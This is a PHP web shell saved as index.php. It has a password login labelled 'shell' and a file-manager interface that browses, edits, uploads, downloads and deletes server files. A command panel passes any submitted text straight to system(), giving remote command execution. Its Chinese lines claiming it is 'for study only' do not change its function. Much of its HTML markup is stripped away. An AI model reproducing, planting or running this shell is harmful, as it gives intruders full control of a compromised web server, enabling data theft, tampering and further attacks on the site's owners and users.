index.php000064400000025673150212504570006402 0ustar00999852
文件删除成功!
'; } else { echo '
文件删除失败!请检查权限
'; } } else { echo '
文件不存在或路径非法!
'; } } // 文件编辑器功能(新增函数) function show_editor($filePath) { $file = realpath($filePath); if (!$file || !is_file($file)) { echo '
文件不存在!
'; return; } // 处理保存请求 $content = file_get_contents($file); if (isset($_POST['save'])) { $newContent = $_POST['content']; if (is_writable($file)) { if (file_put_contents($file, $newContent) !== false) { echo '
✔️ 文件保存成功
'; $content = $newContent; // 更新显示内容 } else { echo '
❌ 文件保存失败!请检查磁盘空间
'; } } else { echo '
❌ 文件不可写!请检查权限
'; } } // 显示编辑器界面 echo <<
📝 编辑文件: {$file} 返回
HTML; } // 命令执行处理(增强版) function execute_command($cmd) { system($cmd); } function handle_file_upload($current_dir) { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $target_dir = realpath($current_dir); $target_file = $target_dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); // 检查文件是否已存在 if (file_exists($target_file)) { return '
文件已存在!
'; } // 尝试移动上传的文件 if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) { return '
文件上传成功!
'; } else { return '
文件上传失败!
'; } } return ''; } /*========== 界面组件 ==========*/ function show_login() { echo << shell

🔐 kai_kk

仅供学习与交流,禁止用于非法用途。

HTML; } function show_header() { echo << file manager HTML; } function show_file_manager($dir = '.') { $current_path = realpath($dir); $parent_dir = dirname($current_path); echo '
'; // 路径导航 echo '
'; echo '← 上级目录'; echo '当前位置:'.htmlspecialchars($current_path).''; echo '
'; // 文件表格 echo '
'; echo '
'; echo ''; echo ''; echo ''; foreach (scandir($current_path) as $file) { if ($file == '.' || $file == '..') continue; $full_path = $current_path.DIRECTORY_SEPARATOR.$file; $is_dir = is_dir($full_path); echo ''; // 名称列 echo ''; // 类型列 echo ''; // 大小列 echo ''; // 修改时间 echo ''; // 操作列 echo ''; } echo '
名称 类型 大小 修改时间 操作
'; if($is_dir) { echo ''; echo '📁 '; echo htmlspecialchars($file); echo ''; } else { echo '📄 '; echo htmlspecialchars($file); } echo ''.($is_dir ? '文件夹' : '文件').''.format_size($is_dir ? 0 : filesize($full_path)).''.date("Y-m-d H:i", filemtime($full_path)).''; if (!$is_dir) { echo '编辑'; echo '下载'; echo '删除'; } echo '
'; // 结束卡片和表格 // 功能面板 show_tools_panel($current_path); } function show_tools_panel($current_path) { echo '
'; // 上传面板 echo '
'; echo '
'; echo '
📤 文件上传
'; echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo '
'; // 命令面板(增强版) echo '
'; echo '
'; echo '
💻 命令执行
'; echo '
'; echo '
'; echo ''; echo ''; echo '
'; if (!empty($_POST['cmd'])) { echo '
'.execute_command($_POST['cmd']).'
'; } echo '
'; echo '
'; // 结束row } /*========== 工具函数 ==========*/ function format_size($size) { $units = ['B', 'KB', 'MB', 'GB']; for ($i = 0; $size >= 1024 && $i < 3; $i++) $size /= 1024; return round($size, 2).' '.$units[$i]; } /*========== 主流程 ==========*/ authenticate(); show_header(); // 处理操作请求 $current_dir = isset($_GET['path']) ? $_GET['path'] : '.'; $upload_result = handle_file_upload($current_dir); echo $upload_result; // 显示内容 if (isset($_GET['edit'])) { show_editor($_GET['edit']); } else { show_file_manager($current_dir); } echo '

仅供学习,勿用于非法用途。

'; echo '';